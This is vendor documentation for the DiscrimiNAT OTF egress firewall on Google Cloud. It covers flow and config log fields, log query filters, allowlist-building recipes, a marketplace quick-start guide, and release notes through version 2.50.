balancers as next hops set as the default route, and tag based opt-out control. ### discriminat-ntag Architecture with Network Tags in VPCs for fine-grained, opt-in control over routing. :::info Drop us an email at `devsecops@chasersystems.com` to receive quarterly version update release notes one week prior to GA. Also for a demo, best practices and architecture review. ::: ## gcloud CLI EXAMPLE #### Lookup ```plaintext gcloud compute images describe-from-family \ --format="value(selfLink)" \ --project chasersystems-public \ discriminat ``` --- ## Deploy DiscrimiNAT OTF on Google Cloud ### [DIY & TERRAFORM ➜](/docs/discriminat/gcp/diy/) If you require complex or custom routing, and have Infrastructure-as-Code for your deployments already, this is where you will find key information. ### [QUICK START ➜](/docs/discriminat/gcp/quick-start/) For a 5-minute deployment, assuming secure defaults, from within the marketplace console itself. This will totally lock down your VPC from the get-go unless monitoring mode or appropriate FQDN-based egress firewall rules exist for outbound connections, and VMs needing to bypass DiscrimiNAT are network-tagged with `bypass-discriminat`. ### [CONFIG REFERENCE ➜](/docs/discriminat/gcp/config-ref/) The various ways GCP-native Firewall Rules can be annotated with appropriate FQDN allowlists and traffic monitoring rules after deployment of DiscrimiNAT. ### [DEFAULT PREFERENCES ➜](/docs/discriminat/gcp/default-prefs/) Global level preferences for controlling logs verbosity, wildcards exposure and monitoring mode. ### [LOGS REFERENCE ➜](/docs/discriminat/gcp/logs-ref/) Fields, filters and recipes to find what you need from DiscrimiNAT's config and flow logs in GCP Logs Explorer. ### ARCHITECTURE Pertaining to the Quick Start only. If you go down the DIY route, the architecture will be as per your design. DiscrimiNAT OTF becomes the NAT solution for your VPC, making the use or presence of other NAT gateways redundant. It is architected along the [_Internal TCP/UDP load balancers as next hops_](https://cloud.google.com/load-balancing/docs/internal/ilb-next-hop-overview) guide from Google Cloud. As the guide suggests, these NAT instances are simply a [_bump-in-the-wire_](https://en.wikipedia.org/wiki/Bump-in-the-wire) with: - no explicit client configuration - load balancing - proactive health-checks ### MARKETPLACE [![Launch Free Trial on Google Cloud](img/GC-Partner-no_outline-H_small.png)](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat) DiscrimiNAT OTF is [listed on the Google Cloud Marketplace](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat). The architecture discussed above is available as a Deployment Manager template to launch on subsequent steps from marketplace subscription. --- ## DiscrimiNAT OTF Google Cloud Logs Reference # Logs Reference ## Fields ### flow logs Flow Logs can be found in Logs Explorer under Logging, with the filter `logName="projects//logs/discriminat-flow"`. A typical flow log looks like: ![](img/typical-stackdriver-flow-log-from-discriminat.png) Here's a summary of the possible fields: `dhost`: destination hostname/FQDN or IP Address `cat`: packet origin – client or server `outcome`: allowed or disallowed `src`: source IP address `spt`: source port `proto`: tls, ssh, http or unknown protocol `proto_v`: version of the identified protocol `dst`: destination IP address `dpt`: destination port `reason`: reason for the outcome – such as in which Firewall Rule was a matching protocol rule found, cache not ready yet for a newly discovered allowlist entry, or which protocol anomaly led to the connection being disallowed `instance`: the VM instance name of the DiscrimiNAT instance this log line was generated from `pqc`: indicates if a TLS handshake used a known [PQC TLS Supported Group](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8). The value may be true or false in case of TLS; or absent in the case of SSH `dump`: diagnostic data sometimes emitted; usually base64 encoded and useful for engaging with support `entropy`: Shannon Entropy rounded to 2 decimal places if applicable and calculated; see the [StartTLS SMTP docs](/docs/how-to/starttls/smtp/) for more If X.509 CRLs are [set to be allowed](/docs/discriminat/gcp/default-prefs/#x509_crls), or if there is some plaintext HTTP egress traffic with requisite outbound ports open, there may be HTTP flow logs with the following fields. Note that HTTP is generally not allowed unless X.509 CRLs were allowed and the requested URL was of a CRL Endpoint. `http_code`, `http_method`, `http_path`, `http_user_agent`: these fields can be useful to understand which application the plaintext HTTP traffic is originating from And if a Firewall Rule with a `see-thru` rule in it is found associated to a client application, the following fields will be also present: `see_thru_days_remaining`: number of days remaining while the `see-thru` rule will be non-blocking, as defined in the `see-thru` rule itself `see_thru_gid`: the Firewall Rule name where the `see-thru` rule was found, or _%default_ if set via [preferences](/docs/discriminat/gcp/default-prefs/#see_thru) `see_thru_exerted`: when _true_, the `see-thru` rule had to let this connection through and there was no protocol rule that would have allowed it; when _false_, there was a protocol rule that would have let the connection through anyway and its presence will be identified in the `reason` field; or the `see-thru` rule has expired Watch this **4½ minute video** to understand these three fields, and their interplay with the `outcome` field, when viewed in the Cloud web console. Config reference for the `see-thru` rules can be found [here](/docs/discriminat/gcp/config-ref/#see-thru-mode). ### config logs Config Logs can be found in Logs Explorer under Logging, with the filter `logName="projects//logs/discriminat-config"`. They form an audit trail of changes made to rules and Firewall Rule associations as clients come and go. Here's a summary of the possible fields: `cat`: fqdn (addr), wildcard pattern (wildcard-addr), client, see-thru or self change category `outcome`: accepted something new in the internal configuration, removed something because it had been removed from external configuration sources, or rejected something (because of reason), or warning about a syntactically correct configuration input but one which wasn't going to work as expected (because of reason) `client`: IP address of an affected client (mutually exclusive with `subnet`) `subnet`: block of IP addresses in the `a.b.c.d/e` notation of an affected subnet (mutually exclusive with `client`) `gid`: the Firewall Rule name that relates to this change `addr`: the FQDN, wildcard pattern or IP Address found in a Firewall Rule rule `proto`: tls or ssh protocol as identified in the rule `port`: the port as identified in the protocol rule `from_port`: the minimum, inclusive port if a port range is specified in a see-thru rule `to_port`: the maximum, inclusive port if a port range is specified in a see-thru rule `reason`: reason for usually a warning or a rejected outcome `instance`: the VM instance name of the DiscrimiNAT instance this log line was generated from If X.509 CRLs are [set to be allowed](/docs/discriminat/gcp/default-prefs/#x509_crls) there will be an additional field: `http_path`: the document path over HTTP for CRL data And if a Firewall Rule with a `see-thru` rule in it is found attached to a client application, there will be an additional field: `thru_date`: the date until which the non-blocking `see-thru` mode should remain effective; past this date such a rule would lose effect ## Filters The log lines are JSON-structured so each field can be addressed specifically under the `jsonPayload` object. More of Logs Explorer syntax can be explored on its [Logging query language page](https://docs.cloud.google.com/logging/docs/view/logging-query-language). #### _disallowed_ connections ``` logName="projects//logs/discriminat-flow" jsonPayload.outcome="disallowed" ``` #### _allowed_ but protocol is not TLS ``` logName="projects//logs/discriminat-flow" jsonPayload.outcome="allowed" -jsonPayload.proto="tls" ``` #### connections from a specific client where the destination host is not api.github.com ``` logName="projects//logs/discriminat-flow" jsonPayload.cat="client" jsonPayload.src="192.168.101.3" -jsonPayload.dhost="api.github.com" ``` #### firewall rules where the see-thru mode exception has only 2 or less days left ``` logName="projects//logs/discriminat-flow" jsonPayload.see_thru_days_remaining<=2 ``` #### connections where the see-thru mode had to be used, but not for perhaps telemetry data ``` logName="projects//logs/discriminat-flow" jsonPayload.see_thru_exerted="true" -jsonPayload.dhost=~".*\.ubuntu\.com" ``` ## Recipes ### building an allowlist from scratch (video version) Watch this **3½ minute video** to build the allowlists super quick! The two commands used in the video are also documented here, underneath the video. Command 1: ``` gcloud logging read --freshness=1h --format='json(jsonPayload.dhost,jsonPayload.src,jsonPayload.see_thru_gid)' 'logName=projects/'"$GOOGLE_CLOUD_PROJECT"'/logs/discriminat-flow AND jsonPayload.dhost:* AND jsonPayload.see_thru_exerted=true AND jsonPayload.see_thru_gid="'$RULE_NAME'"' | dd of=frequency-fqdns.json ``` Command 2: ``` cat frequency-fqdns.json | jq --raw-output 'group_by(.jsonPayload.dhost) | map(.[0] + {"count": length}) | sort_by(.count) | reverse | [.[].jsonPayload.dhost] | @csv' | tr --delete '"' ``` ### building an allowlist from scratch (text version) :::info This method is now deprecated in favour of the Cloud Shell based method above. ::: 1. Create a new Firewall Rule, with a `see-thru` rule in it. See the config reference and an example [here](/docs/discriminat/gcp/config-ref/#see-thru-mode). Give it a thru date sufficient enough to capture all stages of the application's lifecycle, such as deployment, restart, the occasional uploading of reports, telemetry, monitoring, etc. Note the Firewall Rule name. 2. Attach this Firewall Rule to the application. In GCP this would be adding the target network tags in the Firewall Rule to the network tags of the workload/VMs. 3. In the Logs Explorer under Logging, enter the following query and run it. _Note: You'll have to replace the Firewall Rule name in this example with the one that was created above._ ``` logName="projects//logs/discriminat-flow" jsonPayload.see_thru_exerted="true" jsonPayload.see_thru_gid="firewall-rule-replace-me-name" ``` - Now create a metric out of this query from the Actions menu. ![](img/stackdriver-create-metric-from-logs-query.png) - Add these three labels to the metric, and save it. | Name | Type | Field Name | | ----- | ------ | ----------------- | | dhost | STRING | jsonPayload.dhost | | proto | STRING | jsonPayload.proto | | dpt | STRING | jsonPayload.dpt | ![](img/see-thru-stackdriver-metric-labels.png) 4. Now let the application follow its normal course of lifecycle. This could last a few hours, days or weeks depending on the application. 5. When you feel some useful traffic may have been logged, visit the Metrics Explorer under Monitoring, and select the metric you saved earlier. Choose an appropriate timespan, and group the results by the `dpt`, `proto` and `dhost` fields. ![](img/gcp-flow-log-metrics-see-thru-group-by.png) This will produce a table of results like: ![](img/gcp-flow-log-metrics-see-thru-results-table.png) 6. From the information in the results table, specific allowlist protocol rules can be created. For example: `discriminat:tls:entropy.ubuntu.com,motd.ubuntu.com` and `discriminat:tls:logging.googleapis.com` with protocol TCP and destination port 443. Although you may want to reconsider allowing any telemetry endpoints. For the full reference on creating these protocol rules along with an example, see the [config reference](/docs/discriminat/gcp/config-ref/#tls-and-ssh-mode). 7. Once these protocol rules are attached to the application, run the full application lifecycle again, and then the query at #3 to ensure that `see_thru_exerted` did not have to be used to let any disallowed traffic through. There may be the case where you choose to disallow certain destinations anyway – those are to be expected and can be selectively filtered out from view. 8. Detach or remove the `see-thru` rule from the application and give it another full lifecycle run just to ensure it works smoothly. 9. The metric created at #3 can now be deleted. --- ## DiscrimiNAT OTF Google Cloud Quick Start # Quick Start If you are planning to deploy a new VPC network secured by egress filtering, think about the IP address ranges you would like to deploy. A good place to start is the [Virtual Private Cloud (VPC) network overview page over at Google Cloud documentation](https://docs.cloud.google.com/vpc/docs/vpc). Whether something wholly new or the _default_ network, just follow the visual guide below. :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: --- ### i. MARKETPLACE LAUNCH ![GCP Marketplace Launch](img/01-launch.png) Proceed to our [Google Cloud Platform Marketplace](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat) page and click the **Launch** button. This step is entirely self-service. --- :::info If you have [deployed through Terraform](/docs/discriminat/gcp/diy/#terraform-modules) or are considering, jump straight to the [Key Information](#iv-key-information) section. You may skip everything before that. ::: --- ### ii. DEPLOYMENT PARAMETERS ![DiscrimiNAT Launch Parameters](img/02-deploy.png) At the deployment configuration page, the defaults should suffice for a non-Production environment. The parameters are explained below for help with multiple deployments and considerations for Production environments. **Deployment name:** This is a unique identifier for the deployment. In the case of this example, we have chosen the name _plugleak_. **Number of Instances:** This many number of instances will spread evenly over all Zones in the selected Region. A number of 1 should suffice for non-critical environments such as those for Test & Development purposes. For Production, a number of at least 2 will provide rapid High Availability. A number equal to the number of Zones in the selected Region will provide a nice, even spread of the instances in all Zones and sufficient headroom for baseline Production throughput in case of an incident. **Machine Type:** A machine type with at least 2 vCPU and 2 GiB RAM. An `e2-small` should suffice where throughput requirements are basic and allowlists small. Otherwise an `n2-highcpu-2` makes a good choice for constant throughput. [Talk to our DevSecOps](/support/) to get the sizing right! **Zone:** The Zone is only used to infer the Region for this deployment. **Network:** This is the VPC Network for this deployment. The VM Instances that you wish to protect (filter the egress traffic of) would have to be a part of this VPC Network. **Subnetwork:** This is the Subnetwork for this deployment. The VM Instances that you wish to protect (filter the egress traffic of) would have to be a part of this Subnetwork. Just hit **Deploy** and the firewall instance(s) will be ready in a few minutes! --- ### iii. SMALL WAIT ![GCP Marketplace Launch Wait](img/03-deploying.png) Shouldn't be more than a few minutes. --- ### iv. KEY INFORMATION ![GCP Marketplace DiscrimiNAT Launched](img/04-deployed.png) You're all set! Let's review some key information that is now visible: **Manage Firewall Rules**: Brief example of what could be specified in the firewall rules now this firewall is deployed. More on that in the next section. **Tag for bypassing firewall:** This tag, `bypass-discriminat`, is what can be added to the network tags of any virtual machines if you would like them to simply side-step this firewall. **Watch the Configuration Logs:** This string is useful to directly filter for logs, in StackDriver, that reveal any changes to the firewall configuration. It is always constructed as `logName="projects//logs/discriminat-config"` . **Watch the Flow Logs:** This string is useful to directly filter for logs that reveal traffic metadata for all accepted and rejected connections through the firewall. It is always constructed as `logName="projects//logs/discriminat-flow"` . --- ### v. FIREWALL RULES :::tip Don't know which FQDNs to allow? Watch our 3½ minute [video](/docs/discriminat/gcp/logs-ref/#recipes) on how to build an allowlist super quick with DiscrimiNAT's monitor mode! ::: ![GCP Create Firewall Rule with FQDN](img/05-create-firewall-rule.png) :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: We encourage you to create firewall rules as you would normally. Tight in scope and tagged in a granular fashion so they attach with the intended applications' instances only. FQDN based egress filtering enhancements for GCP follow! For an effective use of DiscrimiNAT OTF: - Add destination protocols and [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) to the description field. The format of this annotation is `DiscrimiNAT::[,]` . - Valid protocols are `ssh` and `tls` only. - There can be as many FQDNs as you can fit separated by commas. There cannot be whitespace, though. - There can be other text leading and trailing this specification, separated by whitespace or newlines. - All of it is case insensitive. - Some examples of what can go in the description field: - `DiscrimiNAT:TLS:api.foo.example.com,downloads.example.net` - `DiscrimiNAT:SSH:sftp.txs.example.org,ssh.github.com` - `discriminat:tls:api-v2.example.com discriminat:tls:www.example.org` - `lorem ipsum discriminat:ssh:ssh.github.com,gitlab.com dolor sit amet` - lorem ipsum discriminat:ssh:ssh.github.com discriminat:ssh:gitlab.com dolor sit amet - `Direction of traffic` must be `Egress`. - `Targets` must be set to `Specified target tags`. And then specify the same network tags as on the virtual machines that you'd like this firewall rule to be applied to. Precisely like you would anyway. - `Destination filter` must be set to `IP range` and the range set to the narrowest you can think of. Now if you don't have anything narrower than `0.0.0.0/0` that is absolutely fine! The firewall takes care of validating the destination IP address of actual packets in many ways, but the firewall rule at the Google Cloud networking and security level must allow the packet to leave the virtual machine at all. **Therefore, `0.0.0.0/0` is a safe choice with DiscrimiNAT OTF in the way.** - Under `Protocols and ports`, only choose `tcp` and **specify exactly one port number**. Ranges, multiple ports, other protocols, and so on are **not** supported. - For your typical **HTTPS** outbound connection, the port number would be `443`. - A typical **SFTP** connection has the port number of `22`. - That's it! Although you may want to check the [full reference](/docs/discriminat/gcp/config-ref/) for more possibilities. --- ### vi. CONFIGURATION LOG ![StackDriver DiscrimiNAT config log](img/06-observe-config-log.png) Let's now look at the configuration logs. Browse to **Logging -> Logs Explorer** and paste the log filter for watching the configuration logs from the deployments page, which is constructed as `logName="projects//logs/discriminat-config"` and hit Run Query. You will see each instance of the firewall pick up the changes! Logs are structured (JSON) so filtering them in any way you like should be a walk in the park! :::tip Can't see any DiscrimiNAT logs? Have a look at our [Troubleshooting](/docs/discriminat/gcp/troubleshooting/) section for common issues. ::: --- ### vii. TEST A VIRTUAL MACHINE ![GCP New VM for test](img/07-create-test-vm.png) Time to test with a virtual machine. Create one as usual, in the same region as the firewall was deployed in. Customise the `Management, security, disks, networking, sole tenancy` section though. :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: --- ### viii. PRIVATE IP AND TAGS ![GCP VM Private IP](img/08-vm-network-settings.png) Under the `Networking` tab, ensure that: - `Network tags` match any or some firewall rules with the same target tags, as usual. - `Network` and `Subnetwork` are set to where the firewall was deployed. - `External IP` is set to `None`. These virtual machines do not need a Public IP address at all and will be NAT'ed if firewall rules permit through DiscrimiNAT. The logs of flow activity from this virtual machine can be viewed in the Log Explorer with a filter that is constructed as `logName="projects//logs/discriminat-flow"`. --- ### ix. Next Steps TroubleshootDiscover FQDNs --- ## DiscrimiNAT OTF Google Cloud Release Notes # Release Notes ## version 2.50 (2026-08-13) * added support for default rules – these apply as fallback in case more specific rules for a workload at its Firewall Rule level are absent or disallow a connection, or a client has not been discovered yet * support for StartTLS SMTP is now **in preview**. The how-to guide on enabling it is [here](/docs/how-to/starttls/smtp/). * port can be overridden per address in the [Secret Path variant](/docs/discriminat/gcp/config-ref/#secret-path-variant) of supplying an allowlist in JSON format. tl;dr `kafka.example.com:9093` is now possible. * improved handling of TCP retransmissions arising from Post-Quantum Cryptography (PQC) TLS cipher exchange * version of bundled Public Suffix List: [e1b8015](https://github.com/publicsuffix/list/blob/e1b8015c3b2f0f4f8c18659c2480fc1a22c07b20/public_suffix_list.dat) **Known Issues** * default rules do not support wildcarded FQDNs in this version * lowercase StartTLS commands, sent by Python smtplib for example, get rejected **Breaking Changes** * _see-thru_ mode now only applies to the port range specified in the Firewall Rule the annotation itself is specified in. The older behaviour of allowing all ports through is still present if ports are not set at the Firewall Rule level. * `undiscovered client` log message introduced in v2.30 is removed as the introduction of default rules make it redundant **Meta** * alignment with [MITRE D3FEND D3-OTF](https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering/) nomenclature to more precisely convey DiscrimiNAT ~~Firewall's~~ OTF's role in security architecture. OTF means Outbound Traffic Filtering. **Terraform Updates** * full diff between previous and this version can be found [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/compare/2.40.0...2.50.0) for the **-ilb** module, and [here](https://github.com/ChaserSystems/terraform-google-discriminat-ntag/compare/2.40.0...2.50.0) for the **-ntag** module ## version 2.40 (2026-05-07) * added a Post-Quantum Cryptography `pqc` key exchange field in flows logs that indicates if a TLS handshake used a known [PQC TLS Supported Group](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8). The value may be _true_ or _false_ in case of TLS; or sometimes absent in the case of SSH. This feature, although in preview, can be used to assess PQC readiness in your outbound connections. * TLS SNI matching against user-defined rules is now case-insensitive to support client-side libraries that did not lowercase user input before initiating a new outbound connection * broadened support for some legacy SSH ciphers * lowered disk usage and telemetry data collection volume (when left enabled) * a mitigation for [CVE-2026-31431](https://ubuntu.com/security/CVE-2026-31431) (aka [Copy.Fail](https://copy.fail/)) is included with package _kmod_ version _31+20240202-2ubuntu7.2_, [as advised by Canonical](https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available) * version of bundled Public Suffix List: [8b4345f](https://github.com/publicsuffix/list/blob/8b4345f9a2513011b21e6fc7b8a7197a849be52c/public_suffix_list.dat) **Terraform Updates** * full diff between previous and this version can be found [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/compare/2.30.0...2.40.0) for the **-ilb** module, and [here](https://github.com/ChaserSystems/terraform-google-discriminat-ntag/compare/2.30.0...2.40.0) for the **-ntag** module ## version 2.30 (2026-03-12) * added support for _Job_ and _WorkerPool_ type of Cloud Run objects, besides _Service_, to be able to use Direct VPC Egress. [More permissions](/docs/discriminat/gcp/service-account/) will need to be granted for these to be discovered by DiscrimiNAT. * a new log message `undiscovered client` in case a workload has not yet been polled and discovered by DiscrimiNAT, separating this circumstance from the `no matching rules found` log message * Post-Quantum Cryptography (PQC) TLS cipher exchange in ClientHello support **in preview** even if the handshake is split over multiple IP packets * _warning_ and _notice_ level log messages can now indicate their severity with the right icon and colour in Logs Explorer * version of bundled Public Suffix List: [7ef6384](https://github.com/publicsuffix/list/blob/7ef6384612e1b48bb8b6023716cc9a493ac25d8a/public_suffix_list.dat) ## version 2.20 (2025-08-27) * wildcard matched FQDNs no longer cause a `cache not ready` flow log event on DiscrimiNAT instance restart or upgrade. This is accomplished by sharing knowledge of such FQDNs between DiscrimiNATs: * by discovering peers which either have label key or label value set to `discriminat` (case-insensitive) * exchanging knowledge continuously over port 1042 UDP with peers * incoming peers learn from outgoing peers during a rolling restart/upgrade * related and necessary changes have been made in all our Terraform (and other IaC) modules * messaging between peers is encrypted and authenticated, and does not contain policy * caveats: * upgrading from any version older than 2.20 will, for once and the last time, cause wildcard matching FQDNs to not work for a few seconds until the cache is warmed up again * from v2.20 onwards, this should not occur as long as one-at-a-time rolling upgrades are made (default behaviour of our IaC modules) * single-instance deployments will continue to lose memory of wildcard matched FQDNs and require a few seconds to allow them again after first encounter * added support for Cloud Composer v3; this needs the `composer.environments.list` permission (see [docs](/docs/discriminat/gcp/service-account/)) * added support for [Direct VPC Egress in Cloud Run](https://docs.cloud.google.com/run/docs/configuring/vpc-direct-vpc); this needs the `run.services.list` permission (see [docs](/docs/discriminat/gcp/service-account/)) * new config log _reason_: `malformed fqdn`. This is emitted in case a syntactically invalid domain name is specified in an allowlist * improvement in how quickly new clients are detected * more resilient handling of upstream Cloud APIs erroring or timing out – for knowledge on new clients * version of bundled Public Suffix List: [44211b0](https://github.com/publicsuffix/list/blob/44211b0fbb8b4e09b89a553f5b26c6a02f889c4b/public_suffix_list.dat) * underlying OS has been changed from Ubuntu 20.04 LTS to Ubuntu 24.04 LTS * version number strategy has changed: * DiscrimiNAT itself will only use Major and Minor in its version numbers, and not use the Patch level from the [semantic versioning scheme](https://semver.org/). For example, this release is 2.20 instead of 2.20.0 * related components to a specific version of DiscrimiNAT will follow the full semantic versioning scheme, where the Major and Minor will correspond to the recommended version of DiscrimiNAT. For example, Terraform modules' version 2.20.0, 2.20.1, 2.20.2 and so on will be best suited for DiscrimiNAT 2.20 **Terraform Updates** * allowed UDP port 1042 to and from DiscrimiNATs' firewall rule for messaging between peers, as mentioned above * added a new variable `bypass_cidrs` which allow you to create routes that should bypass DiscrimiNAT (using higher priority). By default, it contains the [gRPC Direct Connectivity range](https://cloud.google.com/storage/docs/direct-connectivity) * default preferences, which are stored as a secret, now replicate to only the deployment region * added labels to a few resources * full diff between previous version and this can be found [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/compare/2.9.0...2.20.0) for the **-ilb** module, and [here](https://github.com/ChaserSystems/terraform-google-discriminat-ntag/compare/2.9.0...2.20.0) for the **-ntag** module ## version 2.9.0 (2024-11-28) * default preferences (see [docs](/docs/discriminat/gcp/default-prefs/)), of which there are four at this time, can now be stored in a Secret named `DiscrimiNAT_` (case-sensitive) in Secret Manager: * `wildcard_exposure`: control whether `*` is accepted in FQDNs or not, and if accepted, with prohibit [public suffix](https://publicsuffix.org/) safeguard or not. **Please familiarise yourself with [operation and caveats](/blog/wildcards-and-system-2-thinking/#operation) on the behaviour of wildcard rules before using them.** * `flow_log_verbosity`: control whether all logs are emitted, just _disallowed_ or none at all * `see_thru`: set non-blocking, monitoring _see-thru_ mode as a default (useful with new deployments so traffic is not blocked upon deployment) * `x509_crls`: whether to automatically allow CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted. This was a feature introduced in v2.7.0 * list of FQDNs for allowlisting, in JSON format, can now be read in from a Secret * format is `{"addrs": ["fqdn1.com", "*.github.com", ...]}` * a symbolic reference of the Secret, using its full path, will need to be added to the Firewall Rules' description field instead of comma-separated FQDNs. For example, `discriminat:tls:projects/000000000000/secrets/service-foo-allowed-fqdns` * DiscrimiNAT's Service Account will need _Secret Manager Secret Accessor_ Role for the Secret paths referred (see [docs](/docs/discriminat/gcp/service-account/)) * **previous method of storing comma-separated FQDNs in Firewall Rules' description fields is preserved and will continue to work** * version of bundled Public Suffix List: [931546b](https://github.com/publicsuffix/list/blob/931546b3beb45b544d0692aa116b420fb34b9dfa/public_suffix_list.dat) * improvement in startup time with a large allowlist (>500 FQDNs) * new config log _reason_: `rejected`. This is emitted in case a wildcard FQDN is specified but the _wildcard\_exposure_ preference value does not allow its inclusion. For example, ``{addr: "*.github.io", cat: "addr", outcome: "publicsuffix[.]org list matched with `github.io`"}`` * raw packet captures (PCAP) for ~10 seconds may be included in telemetry data if Automated System Health Reporting is not opted out of * fixed a bug where wildcard matched FQDNs would not be allowed, until the cache for them was warmed up, in spite of _see-thru_ mode being set * fixed occasional "spoofing detected" flow logs disallowing connections to Cloudinary and Azure Cloud CDN FQDNs * TLS and SSH connectivity improvements to some hosts that would not acknowledge trailing zeroes in padding bytes of a handshake * absence of leading zeroes in month and date components of a _see-thru_ date now works. For example, previously, `2024-9-1` would not have worked, however, `2024-09-01` would have. Both work now. * wildcard matched connections are now timed out on first attempt, instead of connection reset, until the cache has warmed up for them. This reduces the number of attempts made by an app/client when accessing a wildcarded FQDN for the first time. **Breaking Changes** * plaintext HTTP CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted are no longer allowed automatically. Set the preference `x509_crls` to `auto_allow` to restore previous behaviour. If you did not know about this, you are likely not affected. We have proactively informed the customers we definitely knew were relying on this. **Terraform Updates** * [preferences' defaults](/docs/discriminat/gcp/default-prefs/) in JSON format are deployed automatically from v2.9.0 of our Terraform module, in a Secret named _DiscrimiNAT_\_, to serve as a starting point. Can be overridden from the new `preferences` variable. * option to disable automatic updates to the Instance Template when a new DiscrimiNAT image version is available with the `image_auto_update` boolean variable * full diff between previous version and this can be found [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/compare/2.8.0...2.9.0) for the **-ilb** module, and [here](https://github.com/ChaserSystems/terraform-google-discriminat-ntag/compare/2.7.2...2.9.0) for the **-ntag** module ## version 2.8.0 (2024-08-20) * wildcard support is now in preview: * they are supported for the TLS protocol only * the character `?` (or `_`) may be used to substitute one wild character in an FQDN to be allowed * the set of wild characters is from `a` to `z`, `0` to `9` and the `-` (hyphen or minus) only; the `.` (period, dot or fullstop) character is not included * you may use any number of wildcards in a single FQDN address (in the allowlist) * see our [dedicated page on using wildcards](/blog/wildcards-and-system-2-thinking/) with examples and the caveats expected in this preview; ensure you've read the __Operation section__ as well * further improvements are expected in the next version of DiscrimiNAT; please [write to us](/support/) with your experience on using this feature * suppressed repetitive warning log messages `no ip addresses resolved` about CRL endpoint `crl.comodo.net` * improved compatibility with proprietary SSH server-side implementations, such as GoAnywhere, that send a larger than normal list of ciphers during the initial handshake * Terraform module [source](https://github.com/ChaserSystems/terraform-google-discriminat-ilb) includes a script `rmig-update-maxUnavailable-1.sh` that could be run in Cloud Shell or as part of your CI/CD pipeline to update DiscrimiNAT instances separately from a version update of the instance template for their Managed Instance Group. This has the added advantage of keeping under the number of allocated External IPs during a rolling update * the script will need setting of `GOOGLE_CLOUD_PROJECT`, `MIG_NAME`, `MIG_EXPECTED_SIZE` and `MIG_REGION` environment variables. Examples are provided within the script * variable `mig_update_policy_type` should be set to `OPPORTUNISTIC` for this to be useful ## version 2.7.1 (2024-02-12) * `warning` type messages in `-config` logs now do not repeat before 10 minutes. This will reduce the frequency of `no ip addresses resolved`, etc. log messages significantly. * disabling **Automated System Health Reporting** can now be done by setting variable `ashr` to `false` from Terraform module [v2.7.1](https://registry.terraform.io/modules/ChaserSystems/discriminat-ilb/google/2.7.1) onwards. The earlier method will continue to work. * automated system health reporting, if left enabled, now runs at shutdown too. * automatically allowed CRL Endpoints of x509 SSL certificates now emit the name of the otherwise allowed FQDN and the issuing CA in the certificate chain, from which the CRL Endpoint was determined, in the `reason` field of the `-config` log. For example, `crl endpoint from issuer GTS Root R1 in certificate chain of trends.google.com`. * `syslog` is no longer sent from DiscrimiNAT VMs to StackDriver (Logs Explorer). This will reduce the level of logging from the operating system. * resolved an issue where large Microsoft updates over plaintext HTTP, while in see-thru mode, could cause DiscrimiNAT to drop packets after a few weeks of passing such traffic through – needing a restart. ## version 2.7.0 (2024-01-03) * HTTP `-flow` Logs: additional log fields of `http_method`, `http_user_agent` and `http_path` will be present for plaintext HTTP traffic to aid in determining the source of unencrypted traffic. The traffic will always be denied with the message `insecure protocol, use https`, though. * CRL Endpoints of x509 SSL certificates, which are over plaintext HTTP, are now automatically allowed for all TLS FQDNs allowlisted. Only HTTP methods `HEAD` and `GET` are allowed to these URLs from only the clients that otherwise have the TLS FQDNs (to which these CRL Endpoints belong) allowed. * Alias IP Ranges assigned to VM Instances now get recognised and functionally work the same way as a VM's primary IP address. Firewall Rules get applied to the ranges as well, just as they do to the primary IP address of a VM, based on Network Tags. * `no ip addresses resolved` warning message in `-config` log for FQDNs found in the allowlist but for which a DNS lookup did not resolve any IP addresses. This is useful in spotting typos and domain names not configured yet by third parties. * Terraform module [v2.7.0](https://registry.terraform.io/modules/ChaserSystems/discriminat-ilb/google/2.7.0) update: `user_data_base64` supersedes ~~`startup_script_base64`~~. See diff [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/commit/887f5576300c37fb3a3a80f1a9b1b6d4f5994718). * **Automated System Health Reporting:** 10 minutes after boot and then at around 0200 UTC every day, each instance of DiscrimiNAT will collect its OS internals & system logs since instance creation, config changes & traffic flow information from last two hours and upload it to a Chaser-owned cloud bucket. This information is encrypted at rest with a certain public key so only relevant individuals with access to the corresponding private key can decrypt it. The transfer is encrypted over TLS. Access to this information will be immensely useful to create a faster and more reliable DiscrimiNAT as we add new features. We also aim to learn about how users interact with the product in order to further improve the usability of it as they embark on a very ambitious journey of fully accounted for and effective egress controls. We understand if certain environments within your deployment would rather not have this turned on. **To disable it,** a file at the path `/etc/chaser/disable_automated-system-health-reporting` should exist. From our Terraform module v2.7.0 onwards, this can be accomplished by including the following statement: ``` user_data_base64 = "I2Nsb3VkLWNvbmZpZwp3cml0ZV9maWxlczoKLSBwYXRoOiAvZXRjL2NoYXNlci9kaXNhYmxlX2F1dG9tYXRlZC1zeXN0ZW0taGVhbHRoLXJlcG9ydGluZwo=" ``` The _base64_ value above decodes to: ``` #cloud-config write_files: - path: /etc/chaser/disable_automated-system-health-reporting ``` Which is a [cloud-init](https://cloudinit.readthedocs.io/en/latest/reference/examples.html) way of creating that file in the instance. ## version 2.6.1 (2023-10-10) * operating system kernel tuning parameters tweaked (to match with the AWS build) resulting in improved performance of the see-thru mode * health check logic now also waits for the firewall cache to build up a bit before giving a green light to the load balancer (and therefore accepting traffic on new VMs) * fixed a bug where a certain configuration of a Firewall Rule would have DiscrimiNAT drop all rules * two new warning log message types which indicate if the configured port in a Firewall Rule has a connection-level issue: * for example `test for TLS on 203.0.113.5:80 failed` – port 80 